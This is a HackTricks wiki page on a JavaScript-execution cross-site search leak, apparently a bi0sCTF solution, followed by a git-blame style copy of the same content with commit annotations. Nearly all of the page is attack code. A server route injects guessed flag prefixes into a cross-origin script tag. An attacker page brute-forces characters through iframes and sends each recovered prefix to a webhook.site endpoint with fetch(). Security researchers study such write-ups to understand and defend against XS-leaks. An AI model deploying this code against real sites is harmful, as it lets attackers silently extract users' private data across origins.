hacktricks/pentesting-web/xs-search/javascript-execution-xs-leak.md

# JavaScript Execution XS Leak

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

```javascript
// Code that will try ${guess} as flag (need rest of the server code
app.get('/guessing', function(req, res) {
    let guess = req.query.guess
    let page = `<html>
                <head>
                    <script>
                            function foo() {
                                // If not the flag this will be executed
                                window.parent.foo()
                            }
                        </script>
                    <script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
                </head>
                <p>hello2</p>
                </html>`
    res.send(page)
});
```

Main page that generates iframes to the previous `/guessing` page to test each possibility

```html
<html>
<head>
    <script>
            let candidateIsGood = false;
            let candidate = ''
            let flag = 'bi0sctf{'
            let guessIndex = -1

            let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'

            // this will get called from our iframe IF the candidate is WRONG
            function foo() {
                candidateIsGood = false
            }

            timerId = setInterval(() => {
                if (candidateIsGood) {
                    flag = candidate
                    guessIndex = -1
                    fetch('https://webhook.site/<yours-goes-here>?flag='+flag)
                }
                
                //Start with true and will be change to false if wrong
                candidateIsGood = true
                guessIndex++
                if (guessIndex >= flagChars.length) {
                    fetch('https://webhook.site/<yours-goes-here>')
                    return
                }
                let guess = flagChars[guessIndex]
                candidate = flag + guess
                let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
                console.log('iframe: ', iframe)
                hack.innerHTML = iframe
            }
            , 500);
        </script>
</head>
<p>hello</p>
<div id="hack">
</div>
</html>
```

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`# JavaScript Execution XS Leak`

b 2024-07-19 14:12:09 +00:00			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`<details>`

b 2024-07-19 14:12:09 +00:00			`<summary>Support HackTricks</summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
b 2024-07-19 14:12:09 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`</details>`
b 2024-07-19 14:12:09 +00:00			`{% endhint %}`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			```javascript
			`// Code that will try ${guess} as flag (need rest of the server code`
			`app.get('/guessing', function(req, res) {`
			`let guess = req.query.guess`
			let page = `<html>
			`<head>`
			`<script>`
			`function foo() {`
			`// If not the flag this will be executed`
			`window.parent.foo()`
			`}`
			`</script>`
			`<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>`
			`</head>`
			`<p>hello2</p>`
			</html>`
			`res.send(page)`
			`});`
			```

			Main page that generates iframes to the previous `/guessing` page to test each possibility

			```html
			`<html>`
			`<head>`
			`<script>`
			`let candidateIsGood = false;`
			`let candidate = ''`
			`let flag = 'bi0sctf{'`
			`let guessIndex = -1`

			`let flagChars = '_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ'`

			`// this will get called from our iframe IF the candidate is WRONG`
			`function foo() {`
			`candidateIsGood = false`
			`}`

			`timerId = setInterval(() => {`
			`if (candidateIsGood) {`
			`flag = candidate`
			`guessIndex = -1`
			`fetch('https://webhook.site/<yours-goes-here>?flag='+flag)`
			`}`

			`//Start with true and will be change to false if wrong`
			`candidateIsGood = true`
			`guessIndex++`
			`if (guessIndex >= flagChars.length) {`
			`fetch('https://webhook.site/<yours-goes-here>')`
			`return`
			`}`
			`let guess = flagChars[guessIndex]`
			`candidate = flag + guess`
			let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(candidate)}"></iframe>`
			`console.log('iframe: ', iframe)`
			`hack.innerHTML = iframe`
			`}`
			`, 500);`
			`</script>`
			`</head>`
			`<p>hello</p>`
			`<div id="hack">`
			`</div>`
			`</html>`
			```

b 2024-07-19 14:12:09 +00:00			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00			`<details>`

b 2024-07-19 14:12:09 +00:00			`<summary>Support HackTricks</summary>`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
b 2024-07-19 14:12:09 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3759] No subject 2023-01-22 23:19:55 +00:00
			`</details>`
b 2024-07-19 14:12:09 +00:00			`{% endhint %}`